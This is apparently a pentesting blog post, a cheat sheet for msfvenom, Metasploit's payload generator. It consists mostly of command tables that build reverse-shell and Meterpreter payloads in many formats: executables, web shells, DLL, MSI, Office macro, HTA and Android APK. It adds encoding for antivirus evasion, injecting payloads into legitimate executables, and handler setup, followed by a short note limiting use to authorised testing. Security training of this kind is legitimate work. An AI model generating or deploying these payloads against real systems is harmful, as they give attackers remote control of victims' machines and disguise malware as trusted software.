root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat msfvenom.md
// Shells & Pivoting

msfvenom

21 Jul 2026 · 7 min read
msfvenom is Metasploit's payload generator: it merges shellcode creation and encoding into a single tool. It produces everything from EXE and ELF to scripts, DLL or APK, ready to deliver to a target and connect back to a handler.

The key is understanding the difference between staged payloads (meterpreter/reverse_tcp, which pull down the second stage) and stageless ones (meterpreter_reverse_tcp, self-contained): the multi/handler must use exactly the same one. The format (-f) only defines the wrapper; what really has to match is the payload with its handler.

1. Beginner level — basic payloads and formats

MSFVENOM cheat sheet — Beginner
CommandWhat it does
msfvenom -l payloadsLists the available payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exeMeterpreter EXE
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o sMeterpreter ELF
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exeReverse shell (without meterpreter)
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.phpPHP payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.jspJSP payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f asp -o s.aspASP payload
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444 -f rawBash one-liner
msfvenom -p windows/x64/exec CMD='whoami' -f exe -o r.exeRuns a command
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.binRaw output (shellcode)
msfvenom --list formatsLists the output formats
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f cShellcode in C format
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f pythonShellcode in Python
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o s.apkAndroid payload

2. Advanced level — evasion, templates and formats

MSFVENOM cheat sheet — Advanced
CommandWhat it does
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o s.exeEncodes with 5 iterations (evasion)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b '\\x00\\x0a\\x0d' -f cAvoids bad chars (exploiting)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -x plantilla.exe -k -f exe -o s.exeInjects into a legitimate executable
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe -o s.exeMeterpreter over HTTPS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 EXITFUNC=thread -f exeAdjusts the exit function
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f dll -o s.dllDLL payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f msi -o s.msiMalicious MSI installer
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f vbaOffice macro
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f powershell -o s.ps1PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 --platform windows -a x64 -f exeSets platform and architecture
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf-so -o s.soShared object (LD_PRELOAD)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f war -o s.warWAR payload (Tomcat)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hta-psh -o s.htaHTA payload (mshta)
msfvenom ... -f exe | tee s.exe; msfconsole -q -x 'use multi/handler;...'Generates and prepares the handler

3. Details people miss

  • The x86/shikata_ga_nai encoder no longer evades modern AV/EDR: its signature is well known. It is useful for removing bad chars, not as a real evasion layer.
  • The multi/handler PAYLOAD must match the generated one exactly, including the staged vs stageless distinction (meterpreter/reverse_tcp versus meterpreter_reverse_tcp).
  • LHOST is the IP you listen on, not the victim's. Behind NAT you need your public IP and port-forwarding, or the reverse shell will never connect.
  • When encoding with -i, the shellcode grows with each iteration; check the final size if you have a buffer limit in exploiting.
  • -x template.exe requires the template to be the same architecture; with -k it tries to preserve the binary's original function, but it is often unstable.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.